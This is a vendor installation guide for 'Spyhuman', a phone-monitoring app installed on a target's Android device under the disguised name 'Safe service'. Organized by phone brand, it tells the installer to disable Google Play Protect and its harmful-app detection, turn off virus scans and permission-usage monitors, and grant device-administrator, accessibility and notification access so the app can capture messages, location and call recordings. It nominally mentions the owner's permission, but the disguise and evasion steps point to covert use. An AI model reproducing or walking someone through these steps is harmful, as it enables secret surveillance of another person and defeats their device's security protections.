Installation Process

Important! Do not forget to Disable "Play Protect Options" before starting app installation.

Installation & Configuration Guide

Make Sure You follow all the steps given below and do not forget to apply post-installation settings.

  1. Pre-Installation Settings & Configuration
  2. App Installation
  3. Necessary Permissions Screenshots
  4. Make Application Trusted

Prerequisites

i) Must Have created a Spyhuman Free account with a valid email address.
ii) Must Have access to the target phone and permission of the phone owner to install the application.

1. Pre Installation Setting & Configuration

1.1) Enable unknown sources for Android

1.2) Disable Play Protect

Google has added a security system for apps that are not downloaded from the Google Play Store, called "Play Protect". It is possible that the Spyhuman Android App is detected as potentially dangerous.

To prevent the app from being uninstalled, you must disable Google Play Protect and disable notifications related to Google Play Protect.

2. App Installation & Configuration

2.1) Register and Download Application

2.2) Install and Configure the application

3. Provide Necessary Permissions

Make Application Trusted

OPPO Devices

Open Security Center or Security Settings

  1. Privacy Permission > Auto run management > “Safe service” ON
  2. Privacy permission > app permission management >manage by app > select “Safe service” > all permission
  3. Power manager >Excess background battery usage > “Safe service” ON
  4. Data saving >Add apps that run in background> add “Safe service” app

OPPO (Android <= 6)

  1. Settings => Battery => Low Battery Mode => Turn OFF
  2. Settings => Battery => Energy Saver => « Safe service » => Freeze when in background => Turn OFF
  3. Settings => Battery => Energy Saver => « Safe service » => Automatically optimize when an abnormality is detected => Turn OFF
  4. Settings => Dual SIM & Cellular => App Using Wi-Fi and Mobile Data => « Safe service » Service => Select ' Wi-Fi and Mobile Data'
  5. Settings => Additional Settings > Application Management => Installed => « Safe service » => Permissions => Allow All
  6. Settings => Security => Self Diagnosis frequency => Turn OFF
  7. Settings => Security => Homescreen Acceleration Ball => Turn OFF
  8. Security => Privacy Permissions => App Permissions Management => Activate all on ALLOW for « Safe service »
  9. Security => Privacy Permissions => Startup Manager =>« Safe service » => Turn ON

OPPO (Android >= 7)

  1. Settings => Battery => Low Battery Mode => Turn OFF
  2. Settings => Battery => Energy Saver => « Safe service » => Background Freeze => Turn OFF
  3. Settings => Battery => Energy Saver => « Safe service » => Abnormal Apps Optimization => Turn OFF
  4. Settings => Battery => Energy Saver => « Safe service » => Doze => Turn OFF
  5. Settings => Dual SIM & Cellular => App Using Wi-Fi and Mobile Data => « Safe service » => Service => Select ' Wi-Fi and Mobile Data'
  6. Settings => App Management => Installed => « Safe service » => Permissions => Allow All
  7. Settings => Security => Self Diagnosis frequency => Turn OFF
  8. Settings => Security => Homescreen Acceleration Ball => Turn OFF
  9. Security => Privacy Permissions => Startup Manager =>« Safe service » => Turn ON

OPPO (Android 8.0)

  1. setting => security => permissions => all option open and allow (Safe service)
  2. setting => additional settings => accessibility => « Safe service » => ON
  3. setting => additional settings => safety&privacy => install unknow source apps => ON
  4. setting => additional settings => safety&privacy => device administrator => « Safe service » => ON
  5. setting => additional settings => safety&privacy => location service => ON(with high accuracy mode)
  6. setting => battery => power saving => OFF
  7. settting => notification & status Bar => manage notification => Whatsapp/facebook/other social apps => Allow notification
  8. setting => Google>security => Google Play Protect>Uncheck "Scan device for security threads" And "Improve harmful app detection" option.

VIVO Devices

VIVO (Android <= 6)

  1. i Manager => Power Manager => Normal => Turn ON
  2. i Manager => Power Manager => Backstage power => « Safe Service » => Turn ON
  3. i Manager => Gear icon => Speedup whitelist => « Safe Service » => Turn ON
  4. i Manager => App manager => Autostart manager => « Safe Service » => Turn ON
  5. i Manager => App manager => Authority manager => « Safe Service » => Trust this app => Turn ON
  6. i Manager => Data Monitor => Network management => « Safe Service » => Data & WLAN => Turn ON
  7. i Manager => Virus scan => Regular scan reminder => Turn OFF
  8. Settings => Mobile network => « Safe Service » => Turn ON

VIVO (Android >= 7)

  1. i Manager => Permission management => Apps => « Safe Service » => Single permission settings => Autostart => Turn ON
  2. i Manager => Permission management => Apps => « Safe Service » => Single permission settings => Display on lock screen => Turn ON
  3. i Manager => Data Monitor => Network management => « Safe Service » => Data network & WLAN => Turn ON
  4. i Manager => App manager => Autostart manager => « Safe Service » => Turn ON
  5. i Manager => App manager => Authority manager => « Safe Service » => Trust this app => Turn ON
  6. i Manager => Data Monitor => Network management => « Safe Service » => Data & WLAN => Turn ON
  7. i Manager => Virus scan => Regular scan reminder => Turn OFF
  8. Settings => Mobile network => « Safe Service » => Turn ON

Vivo Android version 8.0 and above

  1. Setting => status bar and notification => manage notification => Whatsapp/facebook/other social apps =>Allow notification.
  2. Settings => Mobile network => « Safe Service » => Turn ON
  3. setting => battery>normal mode
  4. setting => battery>high background power consumption => « Safe Service » =>on
  5. setting => more settings>applications =>autostart => « Safe Service » =>on
  6. setting => more settings>applications =>floating window>« Safe Service » =>on
  7. setting => more settings>applications =>modify system settings>« Safe Service » =>allow
  8. setting => more settings>accessebility =>« Safe Service » =>on
  9. setting => more settings> notification access =>« Safe Service » =>on
  10. setting => more settings> device manager => « Safe Service » =>on
  11. i Manager => Data Monitor => Network management => « Safe Service » => Data network & WLAN => Turn ON automatically => Turn OFF => OK

HUAWEI/HONOR

HUAWEI/HONOR (Android 6.x)

  1. Setting => Advanced settings => Battery manager => Protected apps => Check "Safe Service"
  2. Setting => Advanced settings => Battery manager => Power usage firewall (power-intensive apps) => Power-power-intensive prompt, Close excessively power-intensive apps,Ultra power saving reminder => Turn OFF
  3. Setting => Advanced settings => Memory & storage => Storage cleaner => Cache trash => "Safe Service" => Turn OFF
  4. Setting => Advanced settings => Memory & storage => Storage cleaner => Settings icon => Automatic cleanup & Storage cleanup reminder => Turn OFF
  5. Setting => Advanced settings => Memory & storage => Storage cleaner => Settings icon => Memory cleanup whitelist => All => "Safe Service" => Turn ON
  6. Settings => Data traffic managment => Networked apps => "Safe Service" => Turn ON

HUAWEI/HONOR (Android 7.x)

  1. Settings => Apps => "Safe Service" => Battery => Power-intensive prompt & Close after screen locked => Turn OFF
  2. Settings => Apps => "Safe Service" => Data usage => Turn all ON
  3. Settings => Battery=> Settings icon => Keep mobile data on when sleeping => Turn ON
  4. Settings => Mobile data => Networked apps
  5. - Networked apps/Installed apps => Turn Mobile Data & Wi-Fi for "Safe Service"

    - Advanced network management/Installed apps => Turn Mobile Data & Wi-Fi for "Safe Service"

  6. Settings => Mobile data => Data saver => Installed apps => "Safe Service" => Turn ON
  7. Phone manager => Cleanup => Settings icon => Memory cleanup whitelist => "Safe Service" => Turn ON

HUAWEI/HONOR (Android 8.x)

  1. Settings settingsIcon.png => Apps & notifications => Apps => "Safe Service" => Battery
  2. - Power-intensive prompt => Turn OFF

    - Launch => Manage automatically => Turn OFF => OK

  3. Settings => Apps & notifications => Apps => "Safe Service" => Data usage => Turn all ON
  4. Settings => Battery => Settings icon => Keep mobile data on when sleeping => Turn ON
  5. Settings => Wireless & Networks => Mobile data => Networked apps
  6. - Networked apps/Installed apps => Turn Mobile Data & Wi-Fi for "Safe Service"

    - Advanced network management/Installed apps => Turn Mobile Data & Wi-Fi for "Safe Service"

  7. Settings => Wireless & Networks => Mobile data => Data saver => Installed apps => "Safe Service" => Turn ON

HUAWEI/HONOR (Android 9.x)

  1. Settings => Apps => Apps => "Safe Service" => Power usage details
  2. - Power-intensive prompt => Turn OFF

    - App Launch => Manage automatically => Turn OFF => OK

  3. Settings => Apps => Apps => "Safe Service" => Data usage => Turn all ON
  4. Settings => Battery => Settings icon => Stay connected when device sleeps => Turn ON
  5. Settings => Wireless & Networks => Data usage => Network access
  6. - Network access/Installed apps => Turn ON Mobile Data & Wi-Fi for "Safe Service"

    - Advanced network settings/Installed apps => Turn ON Mobile Data & Wi-Fi for "Safe Service"

  7. Settings => Wireless & Networks => Data usage => Data saver => Installed apps => "Safe Service" => Turn ON

XIAOMI/Redmi devices

  1. Settings => Installed apps => « Safe service » => Autostart => Turn ON => OK
  2. Settings => Installed apps => « Safe service » => Other permissions => Enabel All => Accept
  3. Settings => Installed apps => « Safe service » => Battery Saver => No restrictions
  4. Settings => Battery & Performance => Power => Settings icon => Turn off mobile data when device is locked => Never
  5. Settings => Battery & Performance => Power => Settings icon => Clear cache when device is locked => Never
  6. Settings => Battery & Performance => Power => Settings icon => Battery drain notifications => Turn OFF
  7. Security => Settings icon => Boost speed => Lock apps => « Safe service » => Turn ON
  8. Security => Settings icon => Cleaner => Remind to clean => Turn OFF
  9. Security => Settings icon => Cleaner => Update automatically => Turn OFF
  10. Security => Settings icon => Security scan => Auto updates => Turn OFF
  11. Go to Settings > Additional Settings > Privacy > Device Administrator > Safe service>on

SAMSUNG Devices

SAMSUNG (Android <= 6)

  1. Settings > Battery In the App Power Saving Mode Click on « DETAIL » button Select « Safe service » and choose « Turned off »

SAMSUNG (Android => 7)

  1. Settings > Device maintenance > Battery In the Unmonitored apps Section (bottom) Click on « Unmonitored apps » Click on « Add apps »Select « Safe service » and DONE
  2. Settings > Lock screen and security => App permission monitor > « Safe service » => Turn OFF (Only for Android 8)

SAMSUNG (Android => 8)

  1. Settings => Device maintenance => Battery => Unmonitored apps => Add apps => "Safe Service" => DONE
  2. Settings => Lock screen and security => App permission monitor => "Safe Service" => Turn OFF
  3. Settings => Apps => "Safe Service" => Mobile data => Allow background data usage & Allow app while Data saver => Turn ON
  4. Settings => Apps => "Safe Service" => Battery => Allow background activity => Turn ON

SAMSUNG (Android => 9)

  1. Settings => Device care => Battery => Menu => Settings
  2. - Notifications => Turn OFF

    - Adaptive battery => Turn OFF

    - Put unused apps to sleep => Turn OFF

    - Auto disable unused apps => Turn OFF

    - Sleeping apps => Check that the application is not in this listed

    - Optimize settings => Turn OFF

  3. Settings => Device care => Memory => Menu Menu.png => Apps that aren't checked => Add => "Safe Service" => Add
  4. Settings => Biometrics and security => Permission usage monitor => "Safe Service" => Turn OFF
  5. Settings => Apps => "Safe Service" => Mobile data => Allow background data usage & Allow app while Data saver on => Turn ON

SONY Devices

Sony (Android 6.x)

  1. Settings => Battery => Stamina mode => Never
  2. Settings => Battery => Ultra Stamina mode => Activate => Turn OFF
  3. Settings => Battery => Battery optimization => Apps or Others => « Safe service » => Turn ON
  4. Settings => Storage & memory => Smart cleaner => Turn OFF

Sony (Android 7.x)

  1. Settings => Battery => Menu/Battery optimization => All others => « Safe service » => Turn ON
  2. Settings => Battery => Stamina mode & Ultra Stamina mode => Turn OFF
  3. Settings => Data usage => Data saver => Unrestricted data access=> « Safe service » => Turn ON
  4. Settings => Data usage => Wi-Fi data usage => « Safe service » => App data usage => Background data & Unrestricted data usage => Turn ON
  5. Settings => Data usage => Cellular data usage => « Safe service » => App data usage => Background data => Turn ON

Sony (Android 8.x)

  1. Settings => Battery => Battery saver => Power-saving exceptions => APPS => « Safe service » => Turn ON
  2. Settings => Battery => Stamina mode & Ultra Stamina mode => Turn OFF
  3. Settings => Network & Internet => Data usage => Data saver => Turn OFF
  4. Settings => Apps & notifications => App info – All apps => « Safe service » => Data usage => Background data & Unrestricted data usage => Turn ON

NOTE : It can take up to 24 Hrs. to get all data, and also you will only receive call recording that is made after installation of SpyHuman.